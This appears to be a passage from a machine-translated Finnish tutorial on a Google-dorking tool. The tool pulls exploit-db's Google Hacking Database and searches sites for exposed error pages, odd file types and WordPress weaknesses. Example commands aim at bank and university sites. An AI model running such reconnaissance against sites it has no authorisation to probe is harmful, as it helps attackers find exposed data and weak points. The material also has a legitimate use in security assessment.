    Ghdb-komennolla voit saada kaikki dorkit exploit-db:stä mielivaltaisella pyynnöstä tai määrittää koko luokan. Jos määrität kategorian 0, koko tietokanta puretaan (noin 4,5 tuhatta dorkia).

    Luettelo tällä hetkellä saatavilla olevista luokista on esitetty kuvassa 2.

    Kuva 2 - Luettelo käytettävissä olevista GHDB:n dork-luokista

    Google-tiimi korvaa jokaisen dorkin Google-hakukoneessa ja analysoi tuloksen osumien varalta. Polut, joista jotain löydettiin, tallennetaan tiedostoon.
    Apuohjelma tukee erilaisia ​​hakutiloja:
    1 dork ja 1 työpaikka;
    1 dork ja monet sivustot;
    1 sivusto ja monet dorks;
    monet sivustot ja monet dorks;
    Dorkkien ja sivustojen luettelo voidaan määrittää joko argumentin tai tiedoston avulla.

    Työn esittely
    Yritetään etsiä haavoittuvuuksia käyttämällä esimerkkiä virheilmoitusten etsimisestä. Komennolla: dorks ghdb –c 7 –o errors.dorks kaikki tunnetut "Virheilmoitukset"-luokan dorkit ladataan kuvan 3 mukaisesti.


    Kuva 3 – Ladataan kaikkia "Virheilmoitukset"-luokan tunnettuja dokkeja

    Dorks ladataan ja tallennetaan tiedostoon. Nyt ei jää muuta kuin "asettaa" ne jollekin sivustolle (katso kuva 4).


    Kuva 4 – Etsi kiinnostavan sivuston haavoittuvuuksia Googlen välimuistista

    Jonkin ajan kuluttua tutkittavalta sivustolta löydetään useita virheitä sisältäviä sivuja (katso kuva 5).


    Kuva 5 – Löytyi virheilmoituksia

    Tämän seurauksena result.txt-tiedostossa saamme täydellisen luettelon virheeseen johtavista dorkeista.
    Kuvassa 6 näkyy sivustovirheiden haun tulos.

    Kuva 6 – Virhehaun tulos

    Tämän dorkin välimuistissa näytetään täydellinen backtrace, joka paljastaa komentosarjojen absoluuttiset polut, sivuston sisällönhallintajärjestelmän ja tietokantatyypin (katso kuva 7).


    Kuva 7 – sivuston suunnittelua koskevien tietojen julkistaminen

    On kuitenkin syytä ottaa huomioon, että kaikki GHDB:n dorkit eivät anna todellisia tuloksia. Google ei myöskään välttämättä löydä tarkkaa hakua ja näytä samanlaista tulosta.

    Tässä tapauksessa on viisaampaa käyttää henkilökohtaista dokkiluetteloasi. Esimerkiksi kannattaa aina etsiä tiedostoja, joiden pääte on ”epätavallinen”, joista on esimerkkejä kuvassa 8.


    Kuva 8 – Luettelo tiedostopäätteistä, jotka eivät ole tyypillisiä tavalliselle verkkoresurssille

    Tämän seurauksena komennolla dorks google –D extensions.txt –f bank Google alkaa ensimmäisestä pyynnöstä palauttaa sivustoja, joissa on "epätavalliset" tiedostotunnisteet (katso kuva 9).


    Kuva 9 – Hae "huonoja" tiedostotyyppejä pankkisivustoilta

    On syytä muistaa, että Google ei hyväksy yli 32 sanaa pitkiä kyselyitä.

    Komennolla dorks google –d intext:”error|warning|notice|syntax” –f university
    Voit etsiä PHP-tulkkivirheitä koulutussivustoilta (katso kuva 10).


    Kuva 10 – PHP-ajonaikaisten virheiden etsiminen

    Joskus ei ole kätevää käyttää yhtä tai kahta dorkkiluokkaa.
    Jos esimerkiksi tiedetään, että sivusto toimii Wordpress-moottorilla, tarvitsemme WordPress-kohtaisia ​​moduuleja. Tässä tapauksessa on kätevää käyttää Google Hack Database -hakua. Komento dorks ghdb –q wordpress –o wordpress_dorks.txt lataa kaikki dorkit Wordpressistä kuvan 11 mukaisesti:


    Kuva 11 – Wordpressiin liittyvien Dorksin haku

    Palataan taas pankkiin ja komennolla dorks google –D wordpress_dords.txt –f bank yrittää löytää jotain mielenkiintoista Wordpressiin liittyvää (katso kuva 12).


    Kuva 12 – Etsi Wordpressin haavoittuvuuksia

    On syytä huomata, että Google Hack Database -haku ei hyväksy sanoja, jotka ovat lyhyempiä kuin 4 merkkiä. Esimerkiksi jos sivuston sisällönhallintajärjestelmää ei tunneta, mutta kieli tunnetaan - PHP. Tässä tapauksessa voit suodattaa tarvitsemasi manuaalisesti käyttämällä putkia ja järjestelmähakuapuohjelmaa dorks –c all | findstr /I php > php_dorks.txt (katso kuva 13):


    Kuva 13 – Hae kaikista dorkeista, joissa PHP mainitaan

    Haavoittuvuuksien tai joidenkin arkaluonteisten tietojen etsiminen hakukoneesta tulee tehdä vain, jos tällä sivustolla on merkittävä hakemisto. Jos sivustolla on esimerkiksi 10-15 indeksoitua sivua, on typerää etsiä mitään tällä tavalla. Hakemiston koon tarkistaminen on helppoa – kirjoita vain "site:somesite.com" Googlen hakupalkkiin. Esimerkki sivustosta, jonka hakemisto on riittämätön, on esitetty kuvassa 14.


    Kuva 14 – Sivuston hakemiston koon tarkistaminen

    Nyt epämiellyttävästä... Google saattaa ajoittain pyytää captchaa - et voi tehdä asialle mitään - sinun on syötettävä se. Esimerkiksi, kun haettiin "Virheilmoitukset" -kategoriaa (90 dorkia), captcha esiintyi vain kerran.

    On syytä lisätä, että phantomjs tukee myös välityspalvelimen kautta työskentelyä sekä http- että socks-rajapinnan kautta. Ota välityspalvelintila käyttöön poistamalla kommentit vastaavalta riviltä tiedostossa dorks.bat tai dorks.sh.

    Työkalu on saatavilla lähdekoodina